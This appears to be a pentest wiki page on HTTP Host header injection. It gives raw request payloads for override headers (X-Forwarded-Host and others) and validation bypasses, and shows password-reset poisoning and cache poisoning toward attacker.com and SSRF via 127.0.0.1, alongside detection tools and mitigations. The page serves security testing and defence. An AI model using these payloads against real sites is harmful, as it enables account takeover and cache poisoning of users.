HTTP Host Header Injection#

HTTP Host Header Injection is a web application security vulnerability that occurs when an attacker modifies the Host header in an HTTP request and the server processes it without validation to generate URLs, perform redirects, route traffic, or make backend requests, which can be manipulated to poison URLs, password-reset emails, caching layers, routing logic, and internal security controls.

Understanding Host Header#

HTTP Host Header Structure
```
Host: <host>:<port>
```
<host>: Domain name of the server

<port>: TCP port number of the server ( default port for HTTP/HTTPS is used, if not included)
Mandatory header in HTTP/1.1 request
Primary purpose is to route the request to the correct backend service, especially in environments using virtual hosting, reverse proxies, or intermediary servers.

Attack Surfaces#

Password Reset Links
Email Verification URLs
Web Cache
Virtual Host

Exploitation Techniques#

Inject arbitrary Host header
```
Host: test.xyz
```
If vulnerable, this will generate 200 OK response or 504 Gateway Timeout error.
Ambiguous Request

Identify discrepancies in how the Host header is processed by different components of the application
- Inject Duplicate Host Header
```
GET / HTTP/1.1
Host: target.com
Host: payload
```
- Inject an Absolute URL
```
GET https://target.com HTTP/1.1
Host: payload
```
- Add Line Wrapping
```
GET / HTTP/1.1
	Host: target.com
Host: payload
```

Bypassing Defenses#

Host Override Header Injection

If server validates the Host header, try bypassing by Host override headers

X-Forwarded-Host

GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: payload

X-Host

GET / HTTP/1.1
Host: target.com
X-Host: payload

Forwarded

GET / HTTP/1.1
Host: target.com
Forwarded: host=payload

X-Forwarded-Server

GET / HTTP/1.1
Host: target.com
X-Forwarded-Server: payload

X-HTTP-Host-Override

GET / HTTP/1.1
Host: target.com
X-HTTP-Host-Override: payload

Domain Validation Bypass
- Inject non-numeric port number
```
Host: target.com:abc
```
- Inject Prefix Sequences into Target Domain
```
Host: test-target.com
```
- Inject Arbitrary Subdomain (use a compromised subdomain for further testing, if applicable)
```
Host: subdomain.target.com
```

Advanced Attack Scenarios#

Password Reset Poisoning

Attackers inject a malicious host to manipulate password reset links generated by the application.
```
POST /forgot-password HTTP/1.1
Host: attacker.com
```
Resulting Reset Link: https://attacker.com/reset?token=abc123
Web Cache Poisoning → Stored XSS Attackers manipulate the Host header so the application generates attacker-controlled absolute URLs. If a CDN or reverse proxy caches the response, the malicious payload is served to all users.
```
GET / HTTP/1.1
Host: attacker.com
```
- Application reflects Host header value in HTML: <script src="[https://attacker.com/static/app.js](https://attacker.com/static/app.js)"></script>
- If page gets cached by CDN/Cache server, the poisoned version gets stored and served.
Host Header Injection → SSRF Host Header Injection can be combined with SSRF if the server uses the “Host” header to perform server-side requests.
```
GET /internal-api HTTP/1.1
Host: 127.0.0.1
```

Detection Techniques#

Manual Detection Techniques#

Test inputs for Host header:

attacker.com
invalid-host.local
x\"'><.test

Example payloads:

Host: attacker.com

Host: x\"'><.test

Indicators of Vulnerability

Application functions normally with wrong Host value.
Injected Host appears in HTML, JSON, meta tags, or error pages.
Different response content or status code when only Host changes.
Redirects use the supplied Host instead of legitimate domain.

Automated Detection Techniques#

A. Burp Suite Extensions

Param Miner: Automatically probes hidden headers like X-Forwarded-Host, X-Host, Forwarded using extensive wordlists to discover headers used for internal routing/URL generation.
Host Header Inchecktion: Actively tests injection types (localhost, Collaborator payloads, canary strings) and creates scan issues on success.
Collaborator Everywhere: Injects non-invasive headers into all proxy traffic. Detects backend pings to Burp Collaborator revealing hidden host-header-based SSRF.

B. Automated Security Scanners

Nessus
OWASP ZAP
Nuclei (custom templates)

Impacts#

Bypass password reset protections and gain unauthorized access to user or administrator accounts.
Inject attacker-controlled domains into verification, activation, or magic login emails to hijack accounts.
Poison reverse proxy or CDN cache to serve malicious content to legitimate users.
Abuse server-side URL generation to perform Server-Side Request Forgery (SSRF) against internal services.
Bypass multi-tenant or subdomain-based access controls to access admin-only areas or restricted functionality.
Manipulate trusted proxy headers (e.g., X-Forwarded-Host) to bypass host validation mechanisms.

Tools#

Burp Suite (Repeater, Intruder), ffuf, wfuzz

Mitigation & Preventions#

Always verify the Host header against a whitelist of allowed domains. This ensures that only valid domains are processed.
Instead of constructing URLs using the Host header, use absolute URLs or pre-defined domain names for sensitive operations like password resets and redirects.
In reverse proxy setups, ensure that the proxy sanitizes the Host header before forwarding requests to backend servers.
A WAF can help detect and block malicious Host header injection attempts in real-time.

Good To Read#

https://hackerone.com/reports/300164

https://hackerone.com/reports/1098948

https://hackerone.com/reports/1444675

References#

https://nvd.nist.gov/vuln/detail/CVE-2026-27959

https://vulntech.com/tutorial/tutorial/website-penetration-testing/host-header-injection/

https://systemweakness.com/demystifying-host-header-injection-attack-and-its-root-cause-analysis-part-1-ec32500c9306

https://www.linkedin.com/pulse/understanding-host-header-injection-risks-causes-impact-rahman-wg3pc/

https://eandrzejewski.medium.com/http-host-header-attacks-ad12131e8379

https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection